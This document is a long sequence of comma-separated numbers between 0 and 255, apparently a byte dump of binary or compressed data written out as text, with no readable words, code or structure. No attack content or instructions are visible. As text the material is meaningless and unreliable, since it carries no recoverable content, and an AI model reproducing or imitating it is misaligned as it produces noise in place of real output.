193,43,161,208,164,134,166,117,5,193,75,152,2,107,22,21,160,15,86,208,249,202,80,103,100,133,87,153,253,67,170,212,1,53,93,91,101,58,253,162,90,158,230,82,141,154,51,7,214,197,181,96,84,157,149,165,185,77,75,164,105,81,155,20,234,9,63,136,34,225,160,249,244,139,120,215,175,30,138,19,94,125,40,99,176,188,138,223,182,200,29,106,181,249,50,75,161,219,243,143,30,125,24,193,20,165,198,212,59,197,237,179,113,252,255,198,227,135,182,150,154,210,65,50,184,146,46,39,78,219,31,79,27,66,105,153,242,6,146,138,211,157,180,147,66,205,230,158,115,102,131,20,76,36,136,130,56,49,135,46,170,214,210,44,236,29,90,155,152,105,79,93,172,222,254,129,107,134,184,86,234,61,87,85,29,189,64,228,222,101,255,64,12,185,32,9,71,213,72,147,106,129,53,241,126,187,118,77,1,228,185,105,37,179,161,94,189,206,117,48,5,203,113,163,36,187,19,6,9,163,117,243,89,148,59,75,117,244,231,59,6,130,41,13,90,96,220,60,202,16,147,244,142,66,124,61,92,97,97,169,112,125,171,189,221,59,132,114,16,124,74,30,172,253,211,97,224,27,214,174,41,229,194,27,219,247,125,188,239,109,1,222,247,216,184,103,33,0,255,153,82,215,167,78,199,254,247,237,112,176,79,135,242,62,176,196,179,112,103,25,33,242,238,219,200,39,129,182,77,63,18,46,225,4,23,235,93,155,105,76,2,86,15,243,171,163,214,250,36,163,244,183,234,51,112,27,110,95,68,175,48,130,114,144,49,82,141,190,3,171,217,122,3,159,44,71,196,119,140,131,253,242,232,248,103,74,103,237,132,123,148,139,243,218,193,92,144,148,29,125,97,248,64,103,196,228,41,124,188,56,223,249,226,139,47,30,196,14,8,215,213,211,231,139,152,31,27,72,142,229,44,10,64,207,241,229,128,181,139,206,235,106,141,139,168,11,110,143,75,189,84,155,159,67,59,121,14,234,124,42,135,170,146,19,158,38,157,15,211,133,229,202,85,15,221,212,60,63,92,146,242,168,83,188,240,55,137,13,133,145,83,84,12,0,89,125,71,133,198,122,147,22,60,12,105,171,141,73,6,29,106,12,147,135,84,26,37,235,31,28,209,111,224,241,39,34,34,6,158,225,68,68,31,232,7,169,106,170,135,66,212,217,84,62,127,102,29,68,212,36,12,235,229,252,219,138,18,36,235,119,250,34,171,19,144,76,169,147,104,84,28,158,89,235,71,233,11,249,111,48,205,90,63,96,208,151,50,77,253,172,231,37,222,190,125,188,226,75,29,112,11,101,218,174,154,189,180,46,160,255,53,176,13,188,65,186,12,253,208,101,152,239,219,74,141,199,225,222,168,120,244,142,65,209,193,85,254,140,42,81,55,153,1,246,37,240,46,138,30,181,247,38,169,31,171,193,46,235,190,84,200,26,93,173,182,169,51,76,181,138,101,157,58,108,91,106,120,77,210,86,147,181,140,210,212,54,74,13,118,211,180,207,87,22,154,195,179,76,226,7,95,159,215,138,237,154,174,205,17,174,128,177,215,65,39,194,90,63,85,218,155,187,16,0,243,42,197,195,209,196,236,234,103,149,77,98,171,159,136,119,206,129,152,87,208,194,251,24,51,107,157,241,137,253,140,223,232,145,211,59,53,54,181,88,210,135,121,90,61,223,189,42,124,114,74,175,9,70,123,179,105,66,188,124,126,8,159,132,186,162,230,202,132,41,1,75,193,233,192,56,245,189,82,209,15,42,23,54,13,251,61,152,143,201,31,116,184,155,101,133,241,157,50,160,55,156,42,35,98,221,143,17,160,11,150,88,32,94,120,39,132,74,203,76,106,208,166,154,182,43,43,109,122,244,28,61,186,220,130,232,153,105,214,63,56,210,154,69,50,61,33,173,175,28,121,150,94,78,159,222,244,233,153,22,107,32,53,244,231,72,168,197,166,6,205,5,107,185,224,229,178,224,18,213,180,167,70,169,76,103,118,150,206,52,47,74,143,25,166,64,192,54,56,144,134,128,199,239,92,72,111,179,177,19,53,237,141,29,64,34,83,197,229,244,77,168,10,97,139,165,22,165,212,166,148,166,41,165,233,16,198,132,16,10,229,125,2,116,230,147,234,55,249,53,150,53,153,5,27,184,7,63,134,44,100,169,73,181,52,50,174,55,131,96,101,25,37,173,250,179,58,130,35,110,252,90,211,150,208,197,160,212,88,8,5,146,226,121,108,35,152,16,94,127,74,165,63,141,142,77,169,165,10,24,210,6,179,56,141,30,164,170,197,152,225,177,5,81,52,144,139,6,138,77,234,113,109,82,163,48,210,251,130,82,203,10,162,171,254,204,64,181,90,26,1,240,170,115,39,197,39,63,139,2,118,109,240,245,60,73,157,155,62,56,156,30,158,155,33,210,64,209,156,155,41,44,168,115,110,214,224,244,172,240,220,108,209,127,22,233,57,162,143,127,115,69,55,253,82,85,177,237,25,163,246,182,25,116,129,4,245,19,253,236,175,78,247,232,160,220,175,3,110,185,49,71,224,92,171,242,200,63,148,225,141,195,110,43,226,87,199,65,119,120,117,38,1,157,97,120,113,126,36,69,185,110,51,88,235,225,36,42,188,58,203,163,3,112,170,57,242,157,154,39,24,19,64,124,117,38,239,249,84,9,195,167,198,65,184,163,158,173,24,124,17,3,224,197,233,4,166,1,72,43,234,47,0,221,79,38,64,247,236,76,241,147,40,173,74,113,54,14,240,49,64,162,217,25,226,191,56,42,7,81,251,57,42,203,169,173,206,86,47,117,49,24,183,110,101,27,36,84,251,83,211,6,129,242,242,141,23,192,241,29,78,209,249,185,14,199,145,77,132,207,0,142,255,9,72,198,187,90,240,132,22,236,240,138,70,154,128,130,135,120,171,93,119,11,237,132,213,38,224,54,147,14,50,98,67,56,205,37,162,4,164,113,234,82,223,89,116,41,23,110,40,168,101,112,168,121,216,89,212,183,240,234,73,30,95,19,166,155,240,31,27,239,76,185,85,50,6,1,241,238,168,180,142,202,187,178,138,247,63,163,236,75,114,249,84,248,179,171,90,75,211,128,126,208,254,81,54,100,40,27,50,105,163,40,27,178,149,13,57,16,83,221,48,73,76,206,77,32,190,133,212,27,2,163,173,234,113,58,88,112,188,152,191,193,178,102,132,87,61,46,206,80,10,31,145,175,18,214,91,160,106,160,22,217,232,159,185,69,53,2,239,84,71,136,188,91,193,126,54,213,244,220,122,43,191,155,116,252,235,19,66,204,212,81,234,196,208,33,147,71,220,250,79,56,165,11,207,54,139,231,76,146,32,147,132,82,67,150,168,37,185,166,26,165,216,20,59,33,173,169,153,180,113,232,73,38,62,191,5,234,11,16,70,111,53,114,92,115,232,251,102,86,243,120,19,200,190,91,236,160,215,42,189,234,197,118,252,250,169,112,84,44,148,159,94,225,234,194,130,101,186,227,79,254,55,179,169,10,183,184,146,22,210,233,246,138,75,40,221,159,28,46,187,201,227,20,218,103,200,155,17,126,4,52,3,2,156,94,209,79,169,85,144,238,234,230,36,11,75,208,52,49,9,102,81,11,119,114,129,222,201,105,241,78,178,172,150,25,168,32,13,59,73,53,64,201,250,50,194,103,67,135,204,98,194,63,120,244,148,255,249,100,57,122,19,149,171,145,152,228,130,196,216,248,160,150,88,164,14,61,205,162,45,92,101,98,39,72,3,26,166,81,244,244,161,30,245,93,225,213,171,121,235,102,38,127,177,89,239,57,210,131,180,26,241,234,228,101,133,158,72,76,97,102,26,176,218,225,9,55,28,128,131,89,167,176,211,176,16,58,203,161,241,20,82,167,31,134,46,18,103,8,29,78,119,122,8,231,154,28,141,71,249,22,7,116,223,169,7,164,127,84,19,251,50,245,5,56,131,244,207,105,215,244,250,125,144,104,141,11,233,219,156,146,116,230,85,35,210,162,143,217,125,33,197,143,43,243,82,89,120,238,20,219,255,4,254,13,87,201,94,88,100,188,111,37,183,63,178,123,70,172,71,58,9,89,113,28,195,210,113,38,157,156,12,109,94,71,123,216,113,0,146,143,93,78,252,21,82,179,183,238,176,82,215,166,212,157,80,234,58,148,186,78,122,38,205,136,99,71,188,168,245,188,168,38,113,119,78,76,113,166,213,88,175,175,142,201,144,48,219,225,241,190,45,169,234,221,152,64,168,185,158,18,93,127,212,9,235,136,3,93,29,206,105,125,143,242,4,113,148,238,44,145,3,161,35,38,102,156,221,150,44,25,183,91,141,146,107,246,207,155,120,57,33,18,20,46,239,102,125,154,110,216,156,241,88,47,117,244,137,71,77,76,15,248,89,50,168,26,221,98,83,178,254,12,143,247,255,57,189,255,191,190,41,209,255,231,46,232,255,32,243,161,173,37,89,206,209,204,144,197,132,5,178,22,88,47,45,201,170,204,167,251,250,145,167,128,167,45,49,121,216,187,226,187,78,113,197,63,193,103,155,147,181,64,12,53,233,164,149,199,186,176,131,74,178,178,144,126,230,31,224,179,153,96,100,210,41,254,154,204,89,50,197,61,122,150,73,200,242,33,103,49,203,44,45,50,75,174,152,169,103,41,65,150,61,148,5,233,218,74,139,216,152,172,27,33,189,142,114,148,2,137,216,124,159,38,77,56,160,27,63,77,210,77,90,214,37,197,72,17,18,62,241,52,188,32,167,65,234,186,4,254,10,2,36,174,109,224,10,230,184,46,20,107,90,201,188,226,174,190,243,172,11,21,7,176,146,253,194,170,236,37,89,233,240,4,227,69,127,217,2,234,211,144,198,122,52,11,228,81,241,254,231,176,255,4,122,186,83,124,175,243,188,214,106,202,98,117,246,122,254,137,113,53,195,11,216,128,106,26,149,2,224,18,245,61,212,105,138,131,188,191,41,137,173,116,166,83,122,186,203,183,16,6,64,219,152,247,239,207,172,241,136,131,39,207,75,25,90,245,189,173,163,139,32,171,21,245,155,152,60,230,21,179,78,74,142,20,196,137,88,83,110,167,100,14,177,33,104,40,153,90,235,127,13,111,43,99,16,109,173,255,47,105,193,38,203,201,70,78,221,204,163,135,190,253,238,192,5,188,65,117,50,248,146,104,194,111,114,250,77,110,159,160,116,45,144,149,165,125,196,45,103,114,164,41,24,139,164,191,54,201,55,227,5,221,158,197,86,51,115,157,52,86,118,76,58,230,51,138,168,231,217,66,203,147,144,144,78,103,71,56,70,235,194,119,148,106,129,172,164,83,252,236,83,121,132,234,179,88,40,207,237,246,103,64,187,31,32,98,14,110,123,153,81,63,72,238,68,48,27,90,255,139,179,86,4,50,133,233,136,100,197,93,33,174,122,27,95,195,130,67,196,239,186,233,134,75,17,55,208,15,229,90,25,176,138,63,253,183,148,173,72,17,175,224,194,123,46,11,88,64,176,138,198,18,208,251,77,159,11,232,159,83,252,227,83,46,53,51,80,64,237,49,250,185,248,255,105,239,75,224,162,172,214,255,207,32,26,153,38,46,152,149,214,72,88,90,2,179,239,51,172,131,162,160,200,34,106,40,14,240,2,163,195,204,52,11,98,169,185,81,34,81,182,221,108,183,180,245,170,173,150,146,21,150,169,21,146,117,219,87,219,110,99,122,189,214,181,162,50,249,127,159,243,190,3,3,104,235,93,126,159,207,191,23,158,57,231,60,231,156,231,60,231,156,231,60,103,125,223,147,192,191,16,154,16,122,177,227,56,191,137,114,60,101,140,227,12,33,199,27,29,244,173,80,121,40,97,44,205,1,66,163,232,76,230,25,32,80,141,33,230,146,16,151,28,58,141,24,106,62,163,203,62,52,174,75,162,206,121,87,106,26,133,99,232,64,130,186,133,11,118,12,227,61,197,72,20,251,243,162,33,46,230,47,59,148,128,34,152,78,135,54,233,220,40,47,207,233,121,116,40,114,218,59,146,58,34,60,125,58,110,228,244,200,162,20,209,97,149,244,254,79,210,233,2,53,29,67,11,198,240,79,129,125,102,150,116,105,144,62,201,252,25,215,64,253,25,215,64,103,35,231,164,129,58,142,31,231,106,75,127,65,248,184,1,113,153,32,114,153,208,201,101,163,61,150,46,248,194,152,229,197,139,118,12,90,57,142,78,120,134,100,131,86,210,226,62,183,60,25,182,44,19,45,129,28,250,25,72,115,128,152,134,137,209,7,232,229,103,227,213,188,146,206,231,167,45,142,230,237,182,31,77,157,64,219,102,237,180,47,16,50,159,65,39,137,175,190,129,236,55,161,118,155,174,160,183,40,242,14,124,66,187,25,87,211,187,22,193,243,122,197,140,166,208,50,30,115,74,93,104,46,69,203,242,30,124,201,56,197,117,130,192,252,66,128,215,135,243,192,37,33,53,15,92,120,240,118,227,148,188,19,4,166,151,118,66,247,137,129,83,67,253,120,96,195,129,26,40,11,227,20,205,9,194,243,181,203,5,98,248,132,208,155,59,41,252,200,3,86,30,126,68,240,92,250,132,101,110,59,98,133,163,132,38,139,97,99,66,15,238,164,11,92,48,18,152,69,27,245,188,14,6,176,109,87,209,194,234,60,104,181,109,94,178,205,37,91,33,217,166,147,205,64,182,28,178,141,36,91,58,217,232,83,167,7,12,176,73,159,246,202,61,74,115,159,226,166,172,1,24,31,125,123,156,166,78,43,66,80,35,215,132,43,47,51,108,249,58,92,121,235,164,202,203,39,87,253,70,26,229,91,215,208,42,88,81,59,70,74,77,209,103,152,119,212,246,189,232,149,105,7,101,249,29,193,163,34,143,7,190,57,222,113,23,5,50,103,197,12,90,94,199,247,184,111,224,171,181,27,164,37,221,3,179,57,161,64,4,33,83,119,66,60,139,235,136,80,32,76,40,153,19,170,227,132,86,133,9,13,227,132,102,156,156,16,47,161,98,34,52,35,76,232,239,164,11,180,37,156,144,43,76,232,101,154,51,88,45,39,39,196,11,248,116,34,100,9,19,186,157,19,74,229,132,242,194,132,150,115,66,242,147,19,226,245,243,194,81,16,146,139,132,124,51,58,180,9,156,136,70,34,114,48,181,209,26,125,242,82,166,122,13,173,32,10,209,18,133,225,29,218,24,78,97,132,68,65,124,55,155,142,13,49,176,28,113,193,1,45,104,136,4,100,95,134,133,229,187,3,97,1,162,245,84,177,200,62,61,16,22,180,119,200,198,43,246,149,3,212,237,206,59,115,61,165,178,158,152,93,79,217,94,79,133,184,158,170,100,61,85,112,232,131,215,49,12,63,19,99,248,215,69,75,123,232,101,209,242,118,232,57,110,161,247,235,183,74,182,246,208,102,216,232,202,166,163,33,217,199,244,225,144,208,15,116,164,233,229,208,191,246,139,227,167,131,251,197,99,131,159,238,23,119,74,222,219,79,163,217,97,116,148,53,180,17,13,36,111,27,101,61,116,229,14,241,32,222,229,241,104,69,252,106,220,107,184,103,2,111,54,146,103,25,121,22,144,167,143,123,82,221,133,114,37,79,123,60,127,67,251,24,121,23,112,111,146,145,80,146,228,125,190,232,221,78,222,26,238,77,178,24,26,36,121,159,34,122,31,37,239,56,238,77,50,31,58,210,34,122,211,209,209,210,57,91,169,228,59,111,158,163,215,109,26,210,162,197,25,195,120,81,195,142,23,53,108,99,90,244,243,28,173,17,209,154,78,197,75,71,212,26,179,98,232,51,213,33,26,44,171,95,107,220,147,30,122,162,149,230,137,195,48,1,28,60,173,57,39,200,95,246,48,2,55,147,94,175,166,208,129,254,252,94,215,152,142,125,51,233,100,244,156,153,210,203,247,141,211,249,121,98,5,21,61,172,123,170,45,136,28,170,249,152,62,203,69,201,53,217,99,86,236,24,129,225,226,87,212,61,196,132,30,249,250,120,135,116,1,17,31,119,14,32,149,66,151,58,207,139,238,168,141,193,8,45,47,244,33,93,152,176,40,97,0,227,31,52,76,224,23,122,199,210,201,191,70,218,225,63,61,116,47,173,195,157,222,113,73,116,135,50,68,99,99,245,183,89,252,6,239,233,95,243,17,91,231,39,69,231,13,152,25,58,141,31,21,30,144,87,221,96,77,163,251,72,27,115,99,119,179,157,251,58,239,36,109,24,72,142,198,220,97,13,3,247,192,178,109,31,149,121,252,199,196,99,44,83,183,160,171,91,255,58,9,230,251,244,179,159,246,127,40,252,160,193,125,201,120,190,235,123,140,207,111,163,201,245,129,199,63,237,232,56,112,221,15,248,169,95,141,159,47,102,226,231,242,13,29,29,219,40,126,104,11,202,224,174,125,251,186,93,190,245,252,129,252,27,224,191,106,63,98,127,242,188,244,33,133,3,141,8,201,254,124,254,253,79,235,21,50,214,12,184,31,240,23,192,18,64,37,96,18,64,7,120,31,112,12,48,224,74,25,251,114,165,140,253,0,232,95,47,99,103,1,146,0,233,128,60,192,92,64,29,224,106,192,189,128,39,0,123,0,239,2,14,1,162,64,99,4,96,60,224,77,250,102,33,30,95,131,140,205,2,172,106,16,221,15,47,150,177,237,128,86,192,187,128,47,1,199,0,3,150,200,88,60,64,7,200,4,148,0,188,128,229,128,181,128,7,1,207,0,246,1,222,7,124,9,248,1,208,255,114,25,147,3,116,128,116,64,33,160,18,80,11,88,13,184,5,240,4,96,39,224,53,192,151,128,168,165,50,22,11,56,7,160,2,76,68,250,121,48,75,0,62,192,85,128,91,0,15,2,182,3,238,32,94,97,126,73,175,232,44,67,92,128,28,160,1,228,0,230,0,188,128,165,128,235,0,27,1,205,128,93,128,55,1,135,1,253,150,35,127,0,29,104,77,130,57,11,224,6,172,6,220,6,216,12,104,1,188,6,8,1,218,1,177,43,16,7,160,2,88,0,23,34,238,57,128,211,1,81,128,67,139,100,108,63,224,109,192,115,128,171,128,171,3,204,3,236,1,175,79,0,247,32,224,14,192,114,64,45,160,26,80,2,200,1,216,0,51,16,54,9,230,8,64,52,32,29,241,76,203,197,186,26,142,58,83,72,245,134,201,254,82,50,55,74,238,39,32,43,27,0,247,71,177,165,62,152,179,0,58,64,22,224,170,43,197,48,135,87,129,55,64,27,224,25,192,131,128,118,192,13,171,68,255,237,144,145,205,128,91,0,171,0,181,128,50,64,30,192,6,24,15,56,139,228,8,112,8,249,95,9,104,3,108,7,108,6,220,2,152,5,240,1,42,1,251,87,136,116,79,5,175,177,0,250,118,210,25,128,161,0,63,96,56,128,62,177,20,0,12,3,15,26,152,167,1,190,5,191,113,20,94,226,107,215,101,168,111,192,253,128,181,151,137,184,60,248,89,0,227,1,213,128,75,165,176,175,75,121,141,124,142,255,101,199,146,190,222,87,7,111,90,195,90,166,190,253,83,199,178,123,135,188,127,185,255,149,193,171,114,217,131,108,114,82,194,45,22,109,246,252,105,175,14,222,124,47,252,159,88,37,95,218,195,255,230,247,167,223,120,213,242,87,6,175,95,2,183,42,117,247,149,61,252,101,117,245,139,150,69,184,63,158,176,48,74,249,86,219,224,245,197,60,121,89,240,222,141,153,199,66,251,6,175,91,36,210,15,244,112,95,213,252,195,200,243,226,192,223,66,145,191,232,219,253,202,75,52,71,115,110,89,84,188,97,210,23,103,78,223,254,241,149,7,213,170,215,6,111,126,81,12,191,91,117,199,206,198,237,175,13,174,127,157,197,206,58,119,69,244,11,31,206,92,63,52,164,153,184,250,194,230,203,71,45,88,92,123,115,143,252,172,122,174,239,5,155,23,190,54,248,177,137,20,126,217,130,235,122,248,15,110,95,99,55,141,218,55,184,225,92,145,255,181,149,147,171,174,59,188,111,240,166,75,68,126,198,202,159,206,142,228,239,10,133,112,203,212,51,94,27,188,229,123,22,59,217,107,251,169,248,166,135,106,244,73,93,252,61,221,131,223,93,61,248,253,186,50,110,247,57,211,65,239,74,145,222,237,69,35,155,142,172,124,108,242,125,111,76,191,47,99,214,173,247,126,63,234,177,39,227,222,248,219,224,187,70,82,248,105,179,76,171,158,125,246,173,151,224,62,91,116,79,233,145,222,83,242,197,219,230,29,189,41,167,57,118,142,46,38,35,166,144,93,120,65,209,203,233,109,131,151,105,41,63,91,167,133,229,160,69,52,178,110,172,190,127,250,235,253,219,6,63,108,98,242,135,78,187,207,27,31,179,114,220,202,139,247,13,126,218,204,214,189,56,184,237,138,117,236,232,142,152,148,191,13,190,243,52,54,55,166,207,29,250,73,113,11,251,22,92,116,67,246,195,251,190,240,15,187,186,163,254,145,30,241,99,31,59,237,10,217,236,174,248,177,179,159,41,59,56,183,203,253,216,65,221,103,83,243,219,6,223,89,32,134,95,210,195,189,184,135,123,81,15,119,173,179,2,205,37,150,26,252,131,204,112,235,37,119,15,73,101,247,142,73,229,153,41,97,185,204,201,202,153,143,121,152,31,80,201,2,76,206,166,3,231,7,120,152,27,33,232,241,7,28,62,180,51,38,212,57,3,98,60,6,95,47,19,16,130,30,165,74,159,164,192,159,10,246,66,52,208,49,172,130,227,29,101,229,21,66,101,85,181,115,222,124,87,141,219,227,189,196,231,15,4,107,23,212,45,188,52,45,61,35,211,158,53,97,98,246,164,201,73,73,73,20,246,162,179,83,217,91,250,84,102,132,57,212,144,202,38,192,92,12,179,8,230,14,152,115,97,190,12,115,62,204,15,97,46,132,57,209,152,202,86,194,44,131,121,29,204,79,97,222,14,243,159,48,239,135,25,101,74,101,143,193,140,131,249,12,204,177,48,95,132,105,134,249,58,204,235,97,126,4,115,43,204,177,35,83,89,188,37,149,233,96,94,3,51,23,102,8,230,12,152,63,194,44,135,121,186,53,149,185,97,170,97,46,132,153,5,115,37,204,153,48,175,129,233,130,121,59,204,243,109,169,236,33,152,113,48,159,132,121,47,204,23,96,214,194,252,8,230,89,41,169,108,47,204,81,48,191,128,89,3,243,27,152,237,48,217,168,84,86,149,138,180,96,154,211,82,217,153,48,11,96,94,0,51,148,158,202,180,48,253,25,169,44,3,230,162,204,84,54,13,230,60,123,42,43,133,121,79,22,104,193,252,114,2,242,6,243,230,137,169,236,46,152,73,147,192,15,204,173,48,155,97,142,156,156,202,250,231,128,30,204,5,14,223,165,30,183,160,212,41,24,75,42,243,251,169,46,138,10,236,249,106,85,82,102,78,14,99,185,130,223,239,168,18,210,61,117,105,44,205,239,23,72,16,210,220,114,7,183,58,61,110,121,185,199,93,225,228,182,74,135,211,37,80,205,231,5,125,66,134,195,229,34,90,105,114,47,92,242,90,167,47,16,116,184,228,149,65,119,57,15,188,192,225,151,151,35,140,80,145,36,47,172,118,250,229,248,119,128,68,0,129,4,159,207,227,27,47,119,184,43,228,78,16,47,119,4,4,242,68,138,78,79,208,47,122,195,71,30,168,22,228,206,26,175,75,168,17,220,1,7,39,235,169,228,88,135,215,235,162,120,64,129,135,25,252,129,220,22,44,244,7,132,26,181,170,164,188,166,34,73,168,19,224,231,134,204,87,48,23,254,146,36,147,177,156,10,223,4,33,144,231,243,148,11,21,96,62,173,162,194,39,80,201,228,7,92,83,2,5,72,41,232,47,244,100,122,252,118,98,132,113,124,129,16,200,113,248,3,197,78,183,90,21,70,179,41,129,52,151,203,67,236,79,23,179,159,43,212,120,124,11,129,7,237,128,80,30,232,142,6,190,216,231,236,25,88,228,39,199,227,168,200,164,18,69,90,25,62,1,36,139,80,28,133,213,176,86,176,34,180,87,1,173,88,205,84,17,185,96,12,153,200,119,44,200,118,123,131,129,76,20,44,43,244,20,185,157,229,158,10,202,119,174,195,43,165,51,89,88,152,198,216,133,192,217,89,29,90,181,11,109,219,199,233,101,131,150,192,75,200,9,221,224,228,56,122,198,48,5,82,170,96,137,39,176,149,118,218,146,78,96,131,108,129,222,124,128,135,45,224,180,6,178,254,220,164,79,217,47,230,102,100,8,55,199,141,3,140,102,116,160,153,177,243,0,9,156,7,198,230,0,206,7,140,229,238,114,78,71,14,184,24,57,153,194,10,241,155,207,102,75,41,92,204,210,217,100,86,192,242,128,97,220,93,200,210,128,155,205,237,25,112,229,179,156,78,191,52,216,11,59,253,210,16,171,160,211,207,14,123,134,228,151,141,116,10,120,58,133,157,254,153,112,139,148,232,219,18,74,0,233,69,53,128,174,105,167,141,15,58,53,170,7,24,0,70,64,10,32,25,176,4,48,151,211,96,108,17,128,104,208,177,42,250,136,52,205,116,199,3,108,0,82,152,38,0,173,101,150,2,232,83,237,23,1,232,131,254,229,166,146,5,104,52,158,5,254,18,127,88,218,131,16,21,180,231,10,146,31,8,106,177,232,63,209,227,153,111,71,171,70,29,244,39,154,1,86,131,218,15,63,126,193,5,1,149,251,157,85,110,143,187,20,98,230,170,25,47,247,248,156,85,78,119,105,208,231,26,47,39,162,110,71,141,80,90,235,112,5,133,241,114,47,84,194,2,143,175,66,116,203,43,125,158,26,249,2,207,130,82,151,7,81,252,255,30,122,18,45,177,15,154,0,9,241,176,42,200,171,0,87,6,171,230,253,88,13,119,133,91,132,28,181,225,64,206,28,192,229,192,183,28,54,23,176,5,28,23,96,66,103,126,127,59,189,76,96,42,97,11,34,70,64,162,95,133,86,226,142,8,69,116,237,40,85,234,101,229,144,34,31,108,181,192,151,179,133,112,167,243,20,22,72,180,127,27,215,127,148,238,175,227,254,196,99,4,74,187,2,161,127,79,73,255,30,122,191,150,87,145,126,17,234,238,151,75,160,20,241,149,104,129,238,95,228,247,183,211,235,201,47,81,144,159,144,235,36,196,209,75,233,20,114,93,91,46,105,220,18,54,13,127,127,68,66,216,31,164,251,107,229,123,42,31,9,250,224,162,244,197,26,93,0,151,143,215,103,119,95,138,83,38,181,176,95,226,251,143,208,61,17,159,233,240,167,145,237,252,223,89,142,191,20,255,215,150,87,151,102,113,34,108,205,111,110,247,191,46,254,175,111,223,233,188,20,107,17,190,119,41,119,249,37,254,65,89,252,247,166,243,107,203,122,186,164,23,93,208,47,206,223,89,239,191,134,198,175,215,80,84,127,84,119,30,80,243,240,152,148,243,42,105,182,245,123,248,251,173,244,126,109,217,21,242,113,96,57,164,237,247,234,157,159,143,255,107,249,40,224,237,174,134,205,67,248,192,239,144,187,95,19,255,183,213,159,168,73,255,104,123,248,45,116,126,61,127,189,219,214,137,250,219,98,30,183,66,74,151,120,9,34,132,79,226,104,58,79,191,107,13,32,13,186,214,203,199,25,148,82,53,143,65,79,216,205,199,139,18,109,15,31,187,171,187,205,67,106,224,91,11,30,188,232,237,52,24,21,119,247,243,176,75,249,168,43,136,84,187,124,106,57,207,65,105,246,65,163,176,222,113,43,57,199,2,215,252,145,41,186,145,158,255,36,60,248,64,71,213,139,135,46,254,78,238,23,73,131,117,11,51,165,160,160,52,219,45,174,141,228,77,86,42,75,49,241,202,118,7,104,60,75,179,171,2,151,39,32,226,211,130,152,156,186,3,124,70,43,133,45,200,204,47,205,20,202,125,11,189,1,162,147,238,240,11,58,13,97,48,77,75,15,86,86,10,62,137,102,70,181,80,62,159,38,125,121,210,192,88,76,183,160,58,24,192,104,222,221,153,118,150,79,16,120,138,112,231,19,39,226,116,180,214,17,116,5,202,93,78,113,22,192,216,116,114,79,245,10,110,110,145,220,25,46,143,95,16,17,252,215,238,14,214,8,62,48,155,141,137,132,95,196,81,222,224,234,164,65,233,193,158,205,107,138,228,198,205,219,153,188,215,108,146,241,113,170,135,207,36,93,188,21,144,205,199,37,219,131,176,73,176,213,73,125,220,201,124,196,241,35,73,140,147,151,62,181,141,172,110,97,73,50,189,221,210,241,35,62,73,187,83,138,239,234,108,59,228,51,143,75,174,184,142,37,184,121,61,8,21,69,210,92,4,184,106,143,63,32,89,187,252,187,170,128,203,127,144,183,37,202,99,25,231,165,162,91,94,10,79,24,130,248,36,205,29,228,253,138,156,207,119,169,212,40,20,73,216,66,228,130,234,48,13,174,114,30,206,205,253,167,32,207,53,82,89,216,97,115,240,92,82,217,78,5,168,185,158,161,116,106,59,203,60,140,15,235,21,210,17,185,224,42,239,103,194,82,203,166,54,180,128,215,94,69,183,56,189,253,38,194,231,100,126,217,136,151,118,18,191,95,175,175,166,194,172,228,120,10,161,196,44,58,9,237,116,42,74,37,192,235,211,195,71,101,121,61,234,189,164,87,8,35,114,167,71,236,12,72,77,22,40,104,64,75,13,160,191,10,216,210,49,130,55,128,95,5,254,148,220,63,29,26,33,13,51,118,29,226,233,254,32,191,189,249,249,111,112,252,251,251,5,57,95,69,249,165,222,161,103,156,92,158,19,63,31,133,144,79,21,151,179,32,36,223,15,169,246,115,45,81,243,95,203,251,239,203,247,239,207,195,127,183,190,122,202,153,238,127,42,103,254,75,92,206,128,160,46,245,160,91,137,116,151,83,183,18,225,246,250,4,175,195,39,148,214,170,34,194,120,92,193,26,119,105,64,168,11,116,226,252,1,193,27,73,71,168,19,202,123,166,67,68,122,208,40,115,121,202,122,209,93,232,21,122,133,91,24,16,252,189,248,228,92,117,225,42,157,232,196,157,151,114,133,91,16,240,248,28,85,2,139,31,47,174,151,166,149,151,123,130,238,128,191,68,178,36,249,132,114,90,243,243,123,42,3,11,144,193,146,52,193,231,169,244,212,149,100,121,234,106,28,78,87,158,79,168,117,10,11,152,29,249,8,6,28,101,46,129,244,59,173,39,50,62,171,115,72,253,20,201,91,46,31,209,11,108,2,124,114,127,198,159,158,120,46,19,165,17,253,70,60,51,177,203,240,43,206,252,195,88,129,175,207,206,135,185,144,135,136,231,113,23,179,200,39,51,47,45,47,155,44,114,209,29,219,246,64,91,108,81,27,203,109,107,106,185,73,153,179,34,211,30,189,235,161,76,197,163,35,174,128,207,232,207,130,118,187,125,215,3,69,109,125,179,135,15,29,210,54,48,123,99,43,16,109,209,193,218,199,218,70,58,219,114,90,217,35,109,167,44,108,141,217,214,38,43,178,182,178,167,91,234,149,73,43,55,23,213,54,183,220,161,20,218,98,30,121,37,109,209,202,198,137,11,19,38,253,88,111,204,218,181,226,158,172,45,81,75,158,209,111,108,67,4,246,116,155,177,104,118,237,29,136,41,100,93,217,106,120,164,165,89,57,175,45,183,182,57,235,154,93,245,105,173,108,203,164,31,51,87,174,158,152,245,116,244,11,150,102,187,226,113,196,217,147,230,91,194,114,149,179,218,216,150,126,75,70,60,162,191,161,109,216,236,150,155,38,181,140,107,110,110,174,173,63,235,236,115,218,214,141,184,50,205,222,166,120,186,77,86,224,216,147,54,106,210,215,217,69,176,206,220,147,182,183,45,173,40,235,202,205,119,32,83,59,31,184,39,203,110,71,118,18,79,85,149,167,111,202,67,228,182,45,203,217,181,73,114,253,69,181,119,44,103,183,203,199,213,46,216,195,174,93,206,110,158,63,122,220,184,184,189,35,238,89,206,182,92,164,28,61,110,57,123,100,28,80,231,45,103,79,143,179,47,103,119,41,116,114,253,114,182,169,118,193,252,209,192,61,48,110,220,222,17,127,93,206,150,37,140,86,39,44,103,77,218,241,181,11,150,179,6,162,177,119,196,141,203,217,87,253,98,207,56,99,57,251,137,157,54,248,172,229,236,251,216,225,236,140,189,35,234,155,175,223,195,182,196,209,239,93,252,119,25,126,19,15,62,247,214,165,155,140,79,53,55,39,46,189,189,253,238,214,22,35,120,220,52,142,220,87,254,101,187,166,149,125,179,233,44,114,220,248,73,197,214,86,246,206,166,51,200,97,105,120,240,249,86,246,194,38,70,14,119,206,35,47,183,109,217,180,136,236,179,207,60,229,134,86,94,70,155,92,162,251,180,27,90,217,222,77,51,201,177,234,221,120,123,107,139,150,60,179,201,253,207,103,182,236,108,109,81,146,123,219,86,184,111,138,221,57,184,149,125,176,233,65,114,92,240,240,129,162,86,246,234,166,251,200,49,38,74,13,199,27,155,214,192,49,105,72,125,43,123,49,89,54,169,144,125,62,124,79,203,3,160,20,183,233,139,173,